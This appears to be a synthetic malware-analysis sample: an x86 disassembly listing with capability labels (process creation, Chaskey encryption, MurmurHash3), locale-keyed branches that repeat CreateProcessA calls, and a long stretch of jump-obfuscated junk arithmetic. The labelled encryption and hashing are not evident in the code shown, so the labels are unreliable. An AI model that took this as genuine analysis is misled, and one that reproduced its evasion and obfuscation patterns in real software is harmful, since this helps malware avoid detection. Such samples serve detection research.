Function at 0x401000
Capabilities:
Create process on windows
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
call sub.kernel32.dll_GetSystemDefaultLCID
cmp eax, 0xffffff00
jne 0x401089
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
ret
call sub.kernel32.dll_GetSystemDefaultLCID
cmp eax, 0xffffff0a
jne 0x401126
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
ret
call sub.user32.dll_GetInputDesktop
cmp eax, 0xffffff00
jne 0x401191
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
ret
call sub.user32.dll_GetInputDesktop
cmp eax, 0xfffffef2
jne 0x401206
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.user32.dll_GetRawInputDeviceInfoW
call sub.kernel32.dll_CreateProcessA
call sub.kernel32.dll_CreateProcessA
ret
jmp 0x475386
mov ecx, edi
and edx, esi
add ecx, esi
add edi, esi
xor esi, ecx
jmp 0x477564
push 0xbdb10728
xchg edx, ecx
add edi, 0xbf450ffa
mov edi, 0xbf45b76a
sub ecx, edx
shr ebx, 9
sub edx, edi
rol ecx, 1
neg ebx
not ecx
or edx, ecx
jmp 0x4755d0
pop esi
or edi, ebx
or edx, edi
neg ebx
xor edi, ebx
jmp 0x47677c
call esi
xor edi, edx
inc ecx
bswap ecx
and edi, edx
sub ebx, 0xbf6aa4da
or edx, 0xbf6b4d90
jmp 0x478177
mov esi, 0x2a371b56
mov edx, 0xbf7091aa
bswap ecx
and edx, ebx
dec ebx
nop
neg ecx
sub ecx, ebx
xor ecx, ebx
sub edi, ebx
xchg edi, ecx
mov edi, ecx
mov ebx, 0xbf77c9fe
jmp 0x477c60
call esi
sub edx, ebx
xor ecx, ebx
mov edx, 0xbf80d05a
xchg ecx, ebx
inc edx
ror ebx, 0x11
add edi, ecx
rol ebx, 9
jmp 0x475f96
push 0xbdb15490
sub ebx, ecx
or edi, ecx
xor ecx, ebx
xor edi, ebx
mov ecx, ebx
xor edi, ecx
not ecx
and ebx, edi
nop
mov edx, 0xbfee7920
jmp fcn.00477979
call esi
xor edx, ebx
not edx
mov edi, 0xbff0eb96
xchg edx, edi
or edi, 0xbff23ab6
nop
jmp 0x475fc3
push 0xbd960894
add edi, ecx
neg ecx
rol edi, 3
xchg ebx, edx
or ecx, 0xbff69560
or ecx, edi
jmp 0x4772f5
call fcn.0047733a
sub edi, edx
not edi
rol edx, 0x16
xchg edi, ebx
xchg edx, ebx
mov edi, 0xc00082ea
or ebx, edi
sub edx, edi
jmp 0x476f2e
mov esi, 0x4132136a
xor edi, edx
or ebx, edi
inc ebx
shr ebx, 0x1e
sub edx, ebx
inc ebx
xchg edx, ecx
mov ebx, edi
or ecx, edx
and edi, edx
xor ecx, edi
mov ecx, 0xc02c979a
bswap edi
sub ecx, ebx
jmp 0x475e58
call fcn.0047733a
add ebx, edx
xchg edx, ecx
xor edi, ebx
xor ecx, 0xc02f5842
bswap edi
and ecx, edi
or edx, ebx
sub edx, ecx
jmp 0x476974
mov esi, 0x2a371b56
add ecx, edx
add ecx, 0xc042eb66
and ecx, ebx
or edx, edi
and edx, ecx
xor ebx, edx
xor edx, ebx
or ebx, edi
add ebx, 0xc0460378
sub edi, edx
jmp 0x477ca8
push 0xbda0ed22
inc edx
mov edx, 0xc047805e
dec ecx
mov ecx, 0xc04861c6
shl ecx, 0x1e
xchg edx, ebx
or edi, 0xc049cf84
mov edi, 0xc04a3e16
shr edx, 0x1f
and ebx, ecx
jmp 0x475c52
call fcn.0047733a
or edi, edx
xor ecx, edx
not edi
mov ecx, ebx
shl ecx, 0x1b
inc ebx
jmp 0x477157
pop esi
xor edi, edx
rol edi, 0x10
or ecx, 0xc082bf4e
sub ecx, ebx
or edx, ecx
add ebx, ecx
neg edi
shl edx, 0x18
add ebx, ecx
xor ebx, edx
jmp 0x476932
pop esi
xor ecx, edi
xor ecx, edi
not ebx
dec ebx
ror edx, 0xb
and ecx, edi
or ebx, 0xc08b2db6
inc ebx
sub edx, ebx
or edi, ecx
not edi
or edi, ecx
jmp 0x4775a0
push 0xbd9ccd9e
neg edi
sub ebx, edx
and ebx, 0xc0a796d8
shl ecx, 0xe
jmp 0x475484
call fcn.0047733a
and edx, ebx
sub edi, edx
or edx, ecx
sub ecx, edi
mov edx, edi
not edx
and ecx, 0xc0b18d28
xchg edi, edx
rol ebx, 0xd
shr edi, 0x16
jmp 0x475453
push 0xbd96e95a
xchg edx, ecx
sub ecx, ebx
xor edi, edx
xor ecx, ebx
mov ebx, 0xc0f16cd4
add ebx, edx
jmp 0x4763e2
push 0xbda139b8
dec ebx
add ecx, ebx
xchg edx, ecx
or edx, ecx
bswap edi
and edi, ebx
and ecx, ebx
sub ebx, edi
add ebx, ecx
xor ecx, edi
jmp 0x4770d7
push 0xbdae0e90
add edx, 0xc100a198
or edi, 0xc10111c0
xor ecx, 0xc1018134
and ebx, edi
neg ebx
xchg edx, edi
jmp 0x4777e1
push 0xbda47878
mov edx, ebx
xor ebx, edi
or edx, ecx
xor ecx, edx
and ecx, 0xc1189556
xor ebx, 0xc11923e2
and edi, edx
xor edi, edx
xor edi, 0xc11a6d62
xchg edi, edx
jmp 0x4765a3
pop esi
sub ecx, edx
xchg edi, edx
or edx, ecx
add ecx, edx
add edx, edi
or ebx, edi
xchg edi, edx
ror ebx, 0x16
sub edi, 0xc13ee946
inc ecx
sub edx, ecx
add ebx, edx
nop
xchg ecx, edx
jmp 0x475f27
call fcn.0047733a
xor edx, ecx
mov ecx, edi
nop
bswap edi
jmp 0x477279
call fcn.0047733a
and ecx, 0xc14a65ae
not edi
xor edi, edx
ror ecx, 0xa
jmp 0x476d7a
pop esi
and edx, edi
xor edi, ecx
or ecx, ebx
or edi, 0xc151ad6a
sub ecx, ebx
xchg edx, ecx
add edx, ebx
sub edx, ecx
bswap ebx
mov ecx, edi
jmp 0x4775ae
pop esi
xchg ebx, ecx
shr ebx, 0x1b
xchg edi, ebx
add ebx, ecx
add ebx, 0xc1654ae2
rol edx, 0x1b
jmp 0x4775c7
push 0xbd99dc1a
add ecx, ebx
add edi, 0xc16c6462
not ecx
rol ecx, 0x17
sub edx, edi
and ebx, edx
jmp 0x476cf6
pop esi
mov ebx, ecx
shl ebx, 0x18
xchg ecx, edx
not edx
mov ebx, ecx
xor ebx, ecx
jmp 0x477547
pop esi
add edx, ecx
mov ecx, edx
add edi, edx
add edx, 0xc18325fa
jmp 0x477d9b
push 0xbd92cfb6
ror edx, 0xe
neg ecx
xchg ecx, edx
neg edi
mov ebx, edx
neg ebx
rol ebx, 6
inc ecx
jmp 0x477b2f
push 0xbda8fa4e
xor ebx, 0xc1a5ff20
sub edx, 0xc1a6a94c
sub edx, 0xc1a755e6
and edi, edx
shl edi, 0x18
or edi, ecx
shr edx, 0xe
not ecx
sub ebx, 0xc1ab061e
add ebx, ecx
sub ebx, edi
sub ecx, ebx
sub ebx, ecx
and edx, 0xc1ae3a74
jmp 0x4777c4
pop esi
xor edx, ecx
ror edx, 3
add ebx, 0xc1b9be48
mov ecx, edx
sub ecx, edx
sub ebx, edi
jmp 0x47605e
pop esi
neg ebx
neg ecx
add edx, ebx
bswap ecx
neg edi
mov ecx, ebx
and edi, ebx
mov ebx, ecx
xor edx, 0xc1e9bc9a
add edi, edx
jmp 0x476355
push 0xbd93ae5c
sub ecx, edi
and edi, edx
neg ecx
neg ecx
neg ecx
sub ecx, ebx
sub ecx, 0xc1eee076
sub edx, ecx
neg ecx
or ebx, ecx
jmp 0x4764f5
pop esi
xchg edx, edi
add edx, ecx
xor edx, ebx
bswap edi
or edi, ebx
add edx, 0xc23ed9b8
sub edi, ecx
sub ebx, edi
jmp 0x477d6d
mov esi, 0x2a371b56
or edx, edi
xor ebx, 0xc3346c4a
or ebx, ecx
sub ecx, edx
bswap ecx
sub ecx, 0xc335a1de
xor ebx, edx
mov ecx, 0xc3363a06
jmp 0x4775eb
push 0xbdab5fc2
sub edx, edi
or ecx, edx
sub ebx, 0xc3374698
sub edi, ecx
or ebx, ecx
or edi, ecx
nop
xchg edi, edx
sub ecx, edx
xor ecx, edx
jmp 0x477694
pop esi
add edx, 0xc34ec122
xor edx, ecx
xor ebx, edi
mov ebx, edx
or edx, edi
sub ecx, ebx
neg edx
shl edx, 0x1d
sub edx, ecx
sub ebx, edx
jmp 0x475c6f
mov esi, 0x2a371b56
xor ebx, 0xc3626d10
mov edx, 0xc362bb9c
dec ecx
xor edx, 0xc3636ce2
add ebx, 0xc363ba80
inc ecx
bswap edx
not edx
and edx, ebx
ror ecx, 0xf
jmp 0x4756ec
push 0x40
ror edx, 0x12
ror edi, 0xd
sub edi, ecx
neg edx
xchg edi, ebx
shr edi, 0x19
and edx, 0xc36e5286
not edi
add ecx, ebx
shr ecx, 0x1d
jmp 0x476c6e
mov esi, 0x2a371b56
or edi, 0xc371176e
or edi, edx
xor edx, ebx
or edi, ebx
xor edx, 0xc372b6ae
rol edi, 0x15
inc ebx
sub ecx, edi
jmp 0x475a4c
pop esi
or edi, ecx
sub edi, edx
mov ebx, ecx
sub ebx, edx
xchg ecx, ebx
shr ecx, 0x10
sub ebx, ecx
add ecx, 0xc395bac8
jmp 0x475e33
push 0xbd8cf2e0
or edx, 0xc398f7a4
dec ecx
mov edi, ebx
or edi, ebx
add edx, ebx
inc ebx
jmp 0x47794f
pop esi
xor ebx, ecx
and edx, 0xc39b4940
ror edi, 4
add ecx, edi
rol edi, 0x18
xchg edi, edx
and edi, ecx
xchg ecx, ebx
jmp 0x477b81
call fcn.0047733a
xchg ecx, edi
sub ecx, edx
xor ecx, ebx
add edx, edi
add edi, ebx
add edx, ebx
add ebx, edx
xor edx, ecx
or ebx, 0xc3a0042a
xchg edx, edi
jmp 0x476a90
pop esi
xor edi, ecx
shl ecx, 0x11
shr edi, 0x1c
or edx, ebx
add edx, ecx
xor ecx, 0xc3a4fa1e
jmp 0x4775f9
mov esi, 0x2a371b56
xchg edx, ecx
inc edi
sub edi, ecx
add ecx, ebx
xor ecx, 0xc3ae0794
xor ebx, edx
or ecx, 0xc3aeb5aa
and ebx, edx
xchg edx, ecx
bswap edi
sub ecx, 0xc3afe904
or edi, ebx
jmp 0x475e7f
pop esi
or ebx, ecx
sub ebx, edi
ror ebx, 0x11
rol edi, 5
and edx, edi
shl ecx, 0x15
inc ecx
add edi, ebx
sub ecx, edx
mov ecx, edx
jmp 0x477a49
push 0xbd9c829e
xor ecx, edi
not ecx
add ecx, edi
shl ecx, 0x19
and ecx, 0xc3bb1aa2
xchg edi, ebx
add edi, ecx
mov edi, ebx
sub edi, ebx
rol ebx, 0xd
jmp 0x475a2b
push 0xbd9c3650
neg ecx
sub ecx, ebx
and ecx, ebx
shr ebx, 7
jmp 0x47687f
push 0xbd9beb02
shr ebx, 0xd
add edx, ecx
xor edx, ebx
shr edx, 0x1f
mov edx, ecx
bswap ebx
add ebx, 0xc3ca3f9e
mov ebx, edi
jmp 0x4768c4
pop esi
and ecx, edi
sub ebx, 0xc3cb482c
or ecx, edx
add edx, ecx
xchg edi, ebx
inc ecx
or edi, ecx
xor edx, ecx
or ecx, 0xc3cd724e
shl edx, 0x19
jmp 0x47704a
call esi
mov ebx, edx
add ebx, edx
xor edi, edx
and edi, ecx
xor edx, edi
xor ecx, ebx
jmp 0x475416
pop esi
and edi, ebx
sub edi, edx
rol ebx, 0x14
rol edi, 0xf
add edx, 0xc3df75f0
and edx, edi
jmp 0x476113
call esi
or edx, ecx
sub ebx, edx
and edx, ebx
xor edx, ecx
or ecx, edi
or ebx, edx
jmp 0x476c19
push 0xbd9946a6
neg ebx
inc edi
mov ebx, 0xc401543c
xor edx, ebx
sub ecx, ebx
or ebx, edx
or ebx, edi
sub edi, 0xc4029e04
sub ecx, ebx
or ecx, 0xc4031db4
jmp 0x4774ef
pop esi
shr edi, 0x12
add edi, ecx
mov ecx, edx
mov edi, edx
sub ebx, 0xc4046d9e
add ebx, edi
rol edi, 2
bswap ecx
jmp 0x476819
push 0x73f86
add edx, edi
add ebx, ecx
sub edi, 0xc40b042c
sub ebx, 0xc40b5510
add ecx, edx
shr ecx, 1
mov edx, edi
add ecx, ebx
dec edx
and ebx, edx
jmp 0x476c94
push 0x401400
shl ebx, 0x1b
and edx, edi
add edi, edx
add ecx, edi
not edx
and edi, 0xc40e730a
bswap ebx
inc edi
or edx, ebx
mov edi, 0xc40f73c2
jmp 0x4755f0
mov esi, 0x2a371b56
xchg ecx, edx
xchg edx, ebx
xor ebx, 0xc413a7c2
or ebx, edi
xchg edx, ebx
not edx
sub edi, edx
add edi, edx
and edi, ebx
add edx, ebx
jmp 0x47792c
call esi
rol ebx, 4
or edx, 0xc41d872a
bswap edi
and edx, ecx
jmp 0x4766c0
call esi
sub edi, ecx
mov ecx, ebx
and ebx, edx
xor edx, edi
jmp 0x477d08
mov esi, 0x2a371b56
inc ebx
add ebx, ecx
and ebx, 0xc440f66e
xor edx, edi
xor ebx, ecx
mov edi, 0xc441b75a
or ecx, edi
sub edi, edx
jmp 0x47811c
call esi
add edi, ecx
mov edi, edx
xchg edx, ebx
mov edi, ebx
mov edi, 0xc44ba864
and edi, 0xc44be878
jmp 0x477bda
pop esi
xchg ecx, edi
neg edi
add ecx, ebx
shl edx, 0x18
mov ecx, edi
xchg ebx, edi
jmp 0x476428
mov esi, 0x2a371b56
or ecx, edi
xor edx, ebx
xchg ebx, ecx
sub ebx, edi
sub ebx, ecx
xor ecx, edx
and edi, ebx
and ecx, edx
jmp 0x47673d
push 0xbdab1230
mov ebx, edi
xor ecx, 0xc453416e
or edi, ecx
and ecx, ebx
xor edx, edi
and ebx, edi
or ecx, ebx
xor ebx, edx
jmp 0x476407
push 0xbda18416
xor ecx, 0xc4576fac
xchg edx, edi
xchg edi, edx
not ebx
sub ecx, edx
and edi, ebx
and ecx, ebx
xor ebx, edi
jmp 0x477675
pop esi
and edx, edi
mov edx, edi
ror edi, 0x13
mov edi, ebx
sub edi, edx
xor ebx, 0xc45f4220
mov edx, ecx
add ebx, edx
jmp 0x4761d3
call esi
mov ecx, edi
mov edx, 0xc4604ffa
jmp 0x4781a0
push 0xbd969f8a
xor edx, ebx
or edx, ebx
or edx, 0xc461182a
or ecx, ebx
and ecx, ebx
sub edx, 0xc461c882
sub ebx, 0xc4620496
sub edx, ebx
or edi, ebx
inc edi
and ecx, ebx
sub edx, ebx
mov ebx, edi
xor ecx, 0xc463ad38
jmp 0x475bfd
mov esi, 0x2a371b56
mov edi, ebx
sub edi, 0xc46a7712
sub edx, ebx
rol ecx, 0xc
mov ecx, edi
not edx
or edx, ebx
xor edx, edi
and ebx, edi
or ecx, 0xc46c5ea4
jmp 0x475648
push 0xbd90c5f6
xor ecx, edi
ror ebx, 0x17
neg edi
sub edx, ecx
or ecx, edx
sub edi, 0xc46de840
add ecx, edx
and ebx, edx
xor ecx, edx
add ecx, edx
jmp 0x477a5e
push esp
sub edi, ebx
or edx, 0xc473798a
not edx
xor ecx, edx
and edx, edi
sub edx, ecx
jmp 0x4774a3
push 0xbd8ca7c2
and ebx, edi
and edi, ecx
mov ebx, edx
or edi, ecx
jmp 0x476709
push 0xbd965356
or ecx, edi
and ebx, edx
or edx, ebx
mov edx, edi
xor ecx, edx
and ebx, edi
mov ebx, ecx
mov edi, ecx
mov edi, ecx
add edx, edi
xchg ecx, ebx
or edi, edx
jmp 0x477165
pop esi
xor ecx, ebx
xchg edx, ecx
xchg edx, edi
xor edx, 0xc4934de6
xchg edx, ecx
shr ecx, 6
ror ecx, 0x1d
xor ecx, edi
sub edi, ecx
add edx, ebx
jmp 0x477e81
call esi
xor edx, ecx
or ecx, ebx
and edi, 0xc4b58654
and ecx, ebx
and edx, ecx
shl ebx, 5
mov ebx, edi
add edi, ecx
jmp 0x477e6f
push esp
mov edx, ebx
and edi, ebx
add ebx, 0xc4b94a7c
inc edx
shl edi, 0x1d
sub ebx, edi
xchg ebx, edx
add ecx, ebx
jmp 0x47656a
call fcn.0047733a
and ecx, edi
and edi, ebx
sub ecx, ebx
xchg edi, ebx
shr edx, 0x1a
sub edi, ecx
or edx, ebx
add ecx, 0xc4bf6058
xchg edx, ecx
rol ebx, 6
jmp 0x477030
push 0xbd9991e6
mov ebx, edi
sub edx, ebx
xor ebx, 0xc4c2f770
xchg edx, ecx
or edx, 0xc4c401a6
or ecx, ebx
sub ecx, edx
or ebx, edi
jmp 0x475f55
push 0xbd936420
shr ebx, 0x13
sub ebx, edx
jmp 0x4761f1
pop esi
xchg edi, edx
shl edi, 0xa
sub ebx, edi
xchg ebx, ecx
or ecx, ebx
and ebx, edx
jmp 0x475966
push 0xbd8c54a2
and edx, edi
add ecx, edi
add ebx, 0xc4da5498
mov edi, ecx
add edi, ebx
mov ebx, 0xc4dbb668
jmp 0x4772b5
pop esi
or ebx, edi
bswap ecx
and ecx, edi
mov edi, edx
jmp 0x477c15
push 0xbd9031fa
xor edx, ebx
add edx, edi
xor ecx, 0xc4e48206
and ebx, edi
dec ecx
and edx, edi
jmp 0x47790e
pop esi
add edi, ebx
and ebx, edx
mov ecx, edx
dec ecx
or edx, ebx
dec edx
sub ebx, edi
bswap edx
mov edi, edx
mov ecx, edx
rol edx, 0x1f
and ecx, edx
mov ebx, 0xc4ec82fa
xchg ecx, edx
jmp 0x477b1b
call fcn.0047733a
xchg edi, ebx
and ebx, ecx
jmp 0x477c05
pop esi
or edx, ecx
not edx
bswap ecx
and ecx, edi
bswap ecx
xchg edx, edi
mov ebx, ecx
or ecx, ebx
add ecx, ebx
or ecx, edi
bswap edx
shl ebx, 0x14
jmp 0x47810e
pop esi
xor ecx, ebx
add ebx, edi
dec edi
ror ecx, 0x14
and edx, edi
mov ecx, ebx
mov edi, ebx
xor ecx, edi
jmp 0x476bf1
push 0xbda1cfd8
mov edi, ebx
xor ecx, edi
or ecx, edi
xor edx, ebx
bswap ecx
add edi, 0xc513b3c8
sub ebx, edi
shl edi, 0x14
jmp 0x4767ec
push 0xbdababf4
add ecx, 0xc5156854
xor ebx, edi
add ecx, 0xc516976e
rol ecx, 0xc
xor ebx, ecx
shr edx, 0x18
neg ebx
or ebx, 0xc5190574
jmp 0x4771ef
call esi
xchg edi, ebx
rol ebx, 0x11
inc edi
sub ecx, ebx
sub edi, 0xc537936a
dec ecx
sub edi, ebx
and ecx, edi
shr ebx, 0x15
sub edi, edx
jmp 0x478196
mov esi, 0x2a371b56
xor edx, edi
or ecx, edx
bswap ebx
neg edx
not ecx
xor edx, edi
xchg ecx, ebx
mov ebx, edx
xor edi, ebx
dec ecx
jmp 0x4774bd
push 0xbdae5ad8
and ecx, edi
and edx, 0xc547909c
bswap edi
or ebx, 0xc54890b6
dec edx
sub ebx, ecx
jmp 0x478132
push 0xbd907c80
mov edx, ebx
xchg edi, edx
mov ecx, edi
or edx, edi
sub ebx, 0xc574bd16
dec edi
and ecx, edx
ror edi, 6
jmp 0x477216
call fcn.0047733a
shl edi, 0x1b
and edi, 0xc57774be
and edi, 0xc577fd48
or edx, ebx
and edi, ecx
xchg ebx, edx
xchg edx, ecx
mov ebx, ecx
jmp 0x4754c9
push 0xbd8d3b44
rol ebx, 0x1a
xchg edi, ebx
sub edx, edi
or edx, ecx
xor ebx, edi
bswap edx
add edi, 0xc57e3d68
and edx, ebx
xchg ecx, edx
dec ebx
sub edi, ecx
xchg edi, edx
mov edi, ebx
or edx, ebx
jmp 0x47705d
pop esi
dec ecx
or edi, ecx
and ecx, 0xc588bf5a
add edx, edi
sub edx, 0xc58a0e3c
xor edi, ecx
bswap ebx
sub edi, edx
neg edx
mov edx, 0xc58c806c
ror edx, 7
xor edx, 0xc58d9032
add ebx, edx
xchg ecx, ebx
jmp 0x477e22
pop esi
xchg ebx, edx
add edx, edi
add edi, ebx
sub edi, ecx
or edx, edi
mov ebx, edx
dec edi
add ebx, ecx
jmp 0x475eac
mov esi, 0x2a371b56
add edi, ecx
sub edi, edx
sub ecx, ebx
mov edi, 0xc5a5594e
sub edi, 0xc5a59958
or edx, 0xc5a5d916
jmp 0x4757dd
pop esi
inc ebx
sub ebx, edx
shr edi, 0xd
and edi, ecx
nop
xor ecx, ebx
sub edx, ebx
nop
jmp 0x475d18
push 0xbd931a88
xchg ecx, edx
sub edx, edi
sub edx, edi
and ecx, ebx
add ebx, ecx
or edx, edi
jmp 0x477538
pop esi
or edi, ebx
shr ecx, 0x1b
or edx, edi
add ebx, ecx
sub ecx, edx
sub ecx, 0xc5bb7440
xor ecx, ebx
xchg ebx, edi
not edi
or edi, ebx
jmp 0x4753d9
pop esi
add ebx, edx
sub ecx, edx
xchg ebx, edx
xchg ecx, edi
and ecx, edx
inc edx
mov edx, ebx
add ecx, edx
jmp 0x477362
call esi
ror ecx, 0xf
and ebx, edx
mov edi, ecx
xchg ecx, edi
jmp 0x47599e
pop esi
and ecx, edi
bswap edx
bswap ecx
xchg ebx, ecx
ror ebx, 8
sub edi, edx
and ebx, edx
sub ecx, 0xc5c6f690
neg edi
xor edi, 0xc5c76e76
and ebx, edx
ror ecx, 0x14
rol edi, 7
or ebx, 0xc5c85c0c
jmp 0x47763f
call fcn.0047733a
shl ecx, 3
neg ecx
xchg edx, edi
mov ecx, edi
and ecx, 0xc5cb2cc2
xchg ebx, edi
mov edx, edi
xchg edx, ecx
bswap edi
mov edi, ecx
bswap edx
mov ecx, edx
jmp 0x477772
call fcn.0047733a
sub ecx, edi
add edi, ebx
add ecx, edx
add edx, 0xc5d43334
sub edx, ebx
xor ebx, ecx
mov edx, ebx
add edx, edi
or ebx, ecx
sub edi, ebx
bswap ebx
shl edi, 0xf
add edi, edx
mov edi, ecx
jmp 0x477e90
pop esi
add edx, edi
sub edi, ecx
xor ecx, ebx
xor edi, 0xc5e255a2
or ebx, ecx
ror ebx, 0x13
rol edx, 8
or ebx, ecx
add edx, 0xc5e44f06
or edx, ebx
jmp 0x476952
push 0xbd9f2722
mov ecx, edi
sub edx, 0xc5ec76f2
mov ecx, edi
sub edx, ebx
xor ebx, 0xc5ed2410
add edi, 0xc5ed6f1a
not ebx
xchg ebx, ecx
sub ebx, ecx
add edi, 0xc5ee5bac
jmp 0x47578c
push 0xbda8afe6
or edx, ecx
add ecx, edx
add edi, ebx
add ebx, edx
rol ebx, 5
add edx, ecx
mov edx, 0xc5f00616
and ebx, 0xc5f0513e
jmp 0x476097
push 0xbda0a2cc
sub edx, ecx
and ebx, 0xc5f6fb26
ror ecx, 9
or edx, ecx
or edx, edi
xor edx, ecx
or edi, 0xc5f82fcc
add ebx, edx
jmp 0x4757b2
pop esi
sub edi, edx
mov edx, edi
mov ecx, edx
add edi, 0xc5fb9d0a
jmp 0x476721
push 0xbdaac6b6
shl ecx, 0x1d
xor ebx, edx
jmp 0x47709c
call esi
not edx
or ecx, edi
dec ecx
or edi, ebx
xor edx, ecx
inc ebx
mov edi, 0xc5fe0094
shl edi, 0xf
jmp 0x477999
pop esi
sub edx, edi
inc edi
sub ecx, ebx
shl ebx, 0x1d
jmp 0x475609
call fcn.0047733a
mov edi, ecx
mov ebx, edi
add ecx, ebx
sub edi, edx
mov edx, edi
xchg edi, ecx
jmp 0x477487
push 0xbdaea62a
or ebx, edx
or edi, ebx
mov edx, 0xc6291a2e
add ecx, edi
mov ebx, ecx
mov ecx, edi
or ebx, ecx
or edx, 0xc62a4634
rol ebx, 1
mov ebx, ecx
jmp 0x476f97
pop esi
or ebx, 0xc62d9dfa
sub edi, edx
shr edx, 0x17
and ebx, ecx
sub ecx, edx
xor edi, ebx
or ecx, edx
add edi, ecx
sub ecx, ebx
xchg edi, ebx
jmp 0x4756c4
pop esi
mov edi, ebx
add edi, ecx
jmp 0x47713c
pop esi
mov edx, 0xc6323596
shr edi, 0x1e
or ebx, edx
add edx, ebx
and edi, ecx
xor edx, 0xc634c908
and edx, 0xc6351342
and edi, ecx
xor ecx, ebx
xor edi, edx
jmp 0x476a1d